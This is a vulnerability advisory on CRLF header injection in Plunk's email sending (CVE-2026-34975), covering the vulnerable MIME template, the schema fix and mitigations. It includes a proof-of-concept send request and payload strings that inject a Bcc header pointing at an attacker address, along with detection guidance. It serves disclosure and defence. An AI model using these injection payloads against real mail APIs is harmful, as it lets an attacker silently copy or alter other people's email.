CVE-2026-34975

CVSS 8.5 · High Patched
Type
Vulnerability research
Published
Reading time
7 min read
Author
rootzero
Lire en français
Lire en français →

CVE-2026-34975: email header injection in Plunk through raw MIME construction in SESService

Plunk copied the sender name, subject, custom headers and attachment names into raw MIME without filtering line breaks, letting API users add headers.

For your decision

Impact
Email fields can alter headers or MIME structure during sending.
Conditions
The caller needs a project API key and control over the affected fields in the send request.
Recommended action
Install Plunk 0.8.0 or later and review integrations that construct emails.

Advisory facts

Product
Plunk
Package
GitHub · useplunk/plunk
Affected versions
≤ 0.7.1
Fixed in
0.8.0 for the reported fields
CVSS
8.5 High
Weakness
CWE-93
Access needed
Account required
Advisory published
Credit
rootzero

Investigation summary

Plunk built the raw MIME message it hands to Amazon SES by interpolating from.name, subject, custom header keys and values, and attachment filenames into a template string. None of these fields rejected line breaks, so any holder of a project API key could add header fields of their choice or reshape MIME parts in the emails sent through POST /v1/send. Fixed in 0.8.0 by schema validation.

The line break between the API and SES

We were reviewing sending platforms that assemble MIME messages themselves before handing them to Amazon SES. In Plunk we traced fields from POST /v1/send into SESService.ts: the subject, sender name, custom headers and attachment names entered the raw message. Zod limited their lengths but, unlike a nearby field, did not reject \r or \n. The decisive check was to compare that validation with the exact position where each value was written.

We prepared a marker request with a subject containing a line break and a Bcc: field. In the raw message assembled by the code, it becomes a header outside the subject; this proof did not require claiming that Amazon SES accepted arbitrary sender identities. We reported the case on 29 March 2026. Plunk added CRLF validation in 0.8.0, released on 31 March with the CVE-2026-34975 advisory. A separate lead concerning attachments[].contentType remains a question to investigate, not a demonstrated bypass of that fix.

Where Plunk writes the MIME bytes

Plunk accepts mail through POST /v1/send with a project key, then builds the raw MIME message it gives to Amazon SES. At that point a line break in an API field can become a new mail header.

To support attachments, inline images and custom headers, Plunk does not use the structured SES API. It assembles the complete MIME message itself and sends it with SendRawEmail. That choice moves the whole responsibility for the message format into Plunk’s code: SES receives bytes and treats the header section exactly as it is written.

Comparing interpolated fields with validation

In apps/api/src/services/SESService.ts, four inputs were interpolated directly: the sender name, the subject, the custom headers and the attachment filenames. The second check was the validation layer. The Zod schema of the send action in packages/shared/src/schemas/index.ts limited lengths but had no .regex() or .refine() rejecting \r or \n on any of those fields, while the neighbouring contentId field already had one. Input therefore travelled from the JSON body to the raw message without any filter.

Root cause

The vulnerable function, sendRawEmail() in version 0.7.1, builds the top of the message as a single template literal:

// apps/api/src/services/SESService.ts (0.7.1)
let rawMessage = `From: ${from.name} <${from.email}>
To: ${toHeader}
Reply-To: ${reply || from.email}
Subject: ${content.subject}
MIME-Version: 1.0
Content-Type: ${rootContentType}
${
  headers
    ? Object.entries(headers)
        .map(([key, value]) => `${key}: ${value}`)
        .join('\n')
    : ''
}
${unsubscribeHeader}

`;

Each attachment part is written the same way, with Content-Disposition: attachment; filename="${attachment.filename}". The schema accepted any characters in those values:

// packages/shared/src/schemas/index.ts (0.7.1), send action
subject: z.string().min(1).max(998).optional(),
name: z.string().optional(),                 // from.name
headers: z.record(z.string().max(998)).optional(),
filename: z.string().min(1).max(255),

The reason this matters lies in RFC 5322. A message is a header section, then an empty line, then the body. Each header field is a name, a colon and a value, ended by a line break. A line break followed by a space or a tab is folding: the next line continues the same field. A line break followed by any other character starts a new field, and the first empty line ends the header section. The standard requires CRLF, but Plunk’s own template separates lines with a bare LF and its messages are delivered, so a single \n in a value is enough, and \r\n works as well. A subject equal to Hello\nBcc: attacker@example.net is therefore read by any MIME parser as two fields, Subject: Hello and Bcc: attacker@example.net. This is CWE-93, improper neutralisation of CRLF sequences.

Exploitation

The attacker sends an ordinary request with a project secret key and a verified sender:

POST /v1/send HTTP/1.1
Host: api.plunk.example
Authorization: Bearer sk_...
Content-Type: application/json

{
  "to": "recipient@example.com",
  "subject": "Legit Subject\r\nBcc: attacker@evil.com",
  "body": "<p>Hello, this is a test email.</p>",
  "from": "verified@yourdomain.com"
}

The header section that Plunk passes to SES then contains an extra field:

From: Example App <verified@yourdomain.com>
To: recipient@example.com
Reply-To: verified@yourdomain.com
Subject: Legit Subject
Bcc: attacker@evil.com
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_AltPart_..."

The public proof of concept covers the four vectors: from.name ("Legit Sender\r\nBcc: attacker@evil.com"), subject, a custom header value ({"X-Custom": "value\r\nBcc: attacker@evil.com"}), and an attachment filename that closes the quoted parameter, adds a Content-Type: text/html line and an empty line, and writes its own content into the part.

Two details of the SES call shape what each vector does. First, Plunk passes Destinations explicitly, built from the validated recipient address, and AWS documents that the Source and Destinations parameters define the envelope sender and recipients. An injected Bcc line is therefore a header in the content; the write-up and the advisory state that SES delivers a copy to it, which this article could not confirm against a live SES account. Second, from.name is also copied into the Source parameter (${from.name} <${from.email}>), so a line break there reaches the API envelope field as well, whereas subject, custom header values and filenames only touch the message content.

Impact

The vendor scores the issue 8.5: network access, a low privilege (a project API key, plus a verified sender domain), no user interaction, and a scope change because the effect lands in the recipients’ mail systems, outside Plunk. Confidentiality is rated high on the basis of silent copies of outgoing mail, and integrity low.

What the injection gives is control over header fields and MIME structure that Plunk intends to own: duplicate From, Reply-To or Subject fields next to the ones Plunk writes, which receiving clients resolve in different ways; additional fields such as Bcc or Sender; an early end of the header section; parts whose type and content no longer match what the API was asked to send. Measured against a key holder’s normal rights, the gain is narrower than it looks, since the send API already lets the caller choose the subject, the body, the recipient and arbitrary custom header names. The case where the flaw matters most is an application that forwards its own users’ input to Plunk, such as a display name used as from.name or a subject typed into a form. There, the person who controls the line break is not the key holder, and the API was the natural place to stop it.

The fix

Plunk 0.8.0 fixes the reported fields in commit b50b5af, the commit of that range that changes the send schema. Validation is added for these fields at the send schema. This does not establish that every MIME field is protected:

// packages/shared/src/schemas/index.ts (0.8.0), send action
subject: z.string().min(1).max(998).regex(/^[^\r\n]*$/, 'Subject contains invalid characters').optional(),
...
name: z.string().regex(/^[^\r\n]*$/, 'Name contains invalid characters').optional(),
...
headers: z
  .record(
    z.string().regex(/^[^\r\n]+$/, 'Header key contains invalid characters'),
    z.string().max(998).regex(/^[^\r\n]*$/, 'Header value contains invalid characters'),
  )
  .optional(),
...
filename: z.string().min(1).max(255).regex(/^[^\r\n"]+$/, 'Filename contains invalid characters'),

Without the m flag, ^ and $ anchor to the whole string, so the patterns reject any CR or LF anywhere in the value. The filename pattern also rejects the double quote, which closes the injection inside the quoted filename parameter. SESService.ts itself is unchanged and still interpolates the values, which keeps the protection dependent on every caller going through this schema.

One field was left out. attachments[].contentType is still checked for length only and is written as is into the part’s Content-Type: line; this is the case in v0.8.0 and still in v0.16.0, the latest release reviewed. It sits inside an attachment part, so it cannot add top-level headers, and appears to leave a MIME-part injection surface. We have not established an additional delivered-message impact for this field, so it remains a separate lead rather than a confirmed bypass.

Detection and mitigation

  1. Upgrade Plunk to 0.8.0 or later, self-hosted images included.
  2. In applications that call Plunk, strip or reject CR and LF in every value that comes from end users before it reaches from.name, subject, headers or an attachment’s filename and contentType.
  3. Rotate project secret keys that may have been exposed in client-side code or repositories, since every vector requires one.
  4. Search stored emails for injected fields: in the Plunk database, look for subjects, sender names or header values containing \n or \r, and, at a reverse proxy that records request bodies, for /v1/send requests containing \r\n or \n followed by a header name such as Bcc:, Reply-To: or Content-Type:.
  5. If SES event publishing is enabled, compare the recipients and headers of sent messages with what the application requested, and alert on unexpected Bcc or duplicate From and Reply-To fields.

Timeline

Date Event
2026-03-10 Plunk 0.7.1 released, the last affected version
2026-03-29 Private report to the maintainers through a GitHub security advisory
2026-03-31 CRLF validation committed to the send schema (b50b5af)
2026-03-31 Plunk 0.8.0 released
2026-03-31 Advisory GHSA-2mvm-rg5v-7hfq published, CVE-2026-34975 assigned

References

  1. Vendor advisory · CVE-2026-34975 github.com/useplunk/plunk/security/advisories/GHSA-2mvm-rg5v-7hfq
  2. NVD entry · CVE-2026-34975 nvd.nist.gov/vuln/detail/CVE-2026-34975
  3. CVE.org record · CVE-2026-34975 www.cve.org/CVERecord?id=CVE-2026-34975
  4. MITRE CWE-93 cwe.mitre.org/data/definitions/93.html
  5. Project repository github.com/useplunk/plunk
  6. Proof of concept and reproduction notes github.com/romain-deperne/CVE-2026-34975

Cite this advisory

rootzero. “CVE-2026-34975: email header injection in Plunk through raw MIME construction in SESService”. Vulnerability research, rootzero, 31 March 2026. https://rootzero.eu/en/research/cve/cve-2026-34975-plunk-email-header-injection/

#Vulnerability research

Have your code audited before someone else does.

Your team needs to decide what to fix before a release or assess a critical dependency. We scope an engagement around that decision, with evidence and explained remediation priorities.